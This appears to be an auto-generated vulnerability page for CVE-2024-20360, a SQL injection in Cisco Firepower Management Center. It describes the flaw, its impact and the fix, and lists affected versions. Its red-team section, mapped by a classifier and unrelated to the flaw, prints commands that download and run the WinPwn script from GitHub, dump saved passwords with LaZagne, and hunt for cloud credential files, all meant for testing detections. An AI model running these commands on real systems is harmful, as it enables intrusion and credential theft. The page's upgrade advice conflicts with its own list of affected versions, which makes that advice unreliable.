CVE-2024-20360
Overview
This vulnerability is an SQL injection flaw in the web-based management interface of Cisco Firepower Management Center (FMC) Software. The root cause is inadequate validation of user-supplied input within the interface, allowing crafted SQL queries to be injected. The affected component is the FMC's web management interface across multiple 7.0.x versions.
Vulnerability Description
A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability exists because the web-based management interface does not adequately validate user input. An attacker could exploit this vulnerability by authenticating to the application and sending crafted SQL queries to an affected system. A successful exploit could allow the attacker to obtain any data from the database, execute arbitrary commands on the underlying operating system, and elevate privileges to root. To exploit this vulnerability, an attacker would need at least Read Only user credentials.
Impact
An attacker with Read Only credentials can exploit this vulnerability remotely to execute arbitrary SQL commands, leading to unauthorized access to sensitive database information. The attacker may also execute arbitrary commands on the underlying operating system and escalate privileges to root, resulting in full system compromise. This enables data breaches, lateral movement within the network, and potential disruption of firewall management operations. The CVSS vector indicates low attack complexity and no user interaction required, emphasizing ease of exploitation in a network environment.
Solution
Cisco recommends upgrading Cisco Firepower Management Center to versions later than 7.0.2 as detailed in their security advisory cisco-sa-fmc-sqli-WFFDnNOs. The advisory provides specific patch versions addressing this vulnerability. Administrators should apply these updates promptly to affected FMC versions 7.0.0 through 7.0.2. No alternative workarounds are specified; refer to Cisco’s official advisory for comprehensive patching instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability has been identified in the web-based management interface of Cisco Firepower Management Center (FMC) Software, primarily due to inadequate validation of user input. This flaw allows authenticated remote attackers to conduct SQL injection attacks. The vulnerability arises when the application fails to properly sanitize input data before processing it as part of SQL queries. Consequently, an attacker with at least Read Only user credentials can craft malicious SQL queries that, when executed, can manipulate the database in unintended ways. This could lead to unauthorized data access, command execution on the underlying operating system, and potential privilege escalation to root level.
The attack vector for this vulnerability is primarily through the web-based management interface, which is accessible to authenticated users. Once an attacker gains access with valid credentials, they can exploit the vulnerability by sending specially crafted SQL queries. This exploitation can allow the attacker to retrieve sensitive information from the database, including user credentials, configuration data, and other critical information. Furthermore, the ability to execute arbitrary commands on the operating system opens the door for further attacks, such as installing malware, creating backdoors, or exfiltrating sensitive data. The potential for privilege escalation means that an attacker could gain full control over the affected system, significantly increasing the severity of the threat.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on Cisco's security solutions to protect their networks. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations may face significant costs related to incident response, system recovery, and implementing additional security measures post-incident. The high CVSS score of 8.8 underscores the critical nature of this vulnerability and the urgent need for remediation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify potential weaknesses in the web-based management interface. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have access to the management interface. Input validation and sanitization should be prioritized in the development lifecycle of applications, particularly those that interact with databases. Employing web application firewalls (WAFs) can also provide an additional layer of defense by filtering out malicious SQL queries before they reach the application.
In conclusion, the vulnerability in Cisco Firepower Management Center's web-based management interface poses a significant threat to organizations utilizing this software. The potential for SQL injection attacks highlights the critical importance of robust input validation and access controls. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against exploitation and minimize the associated risks. As cyber threats continue to evolve, maintaining a strong security posture is essential for protecting sensitive data and ensuring business continuity.
Affected Products (27)
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Cisco | Secure Firewall Management Center | 7.0.0 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.1.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.2.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.4 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.4:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.5 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.5:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.0.6 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.1.0.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.2.0 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.2.0:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.2.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.2.0.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.2.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.2.1:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.2.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.2.2:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.2.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.2.3:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | 7.2.3.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.2.3.1:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
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CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
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https://nvd.nist.gov/vuln/detail/CVE-2024-20360 |
| sec.cloudapps.cisco.com |
GitHub CVE
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https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-sqli-WFFDnNOs |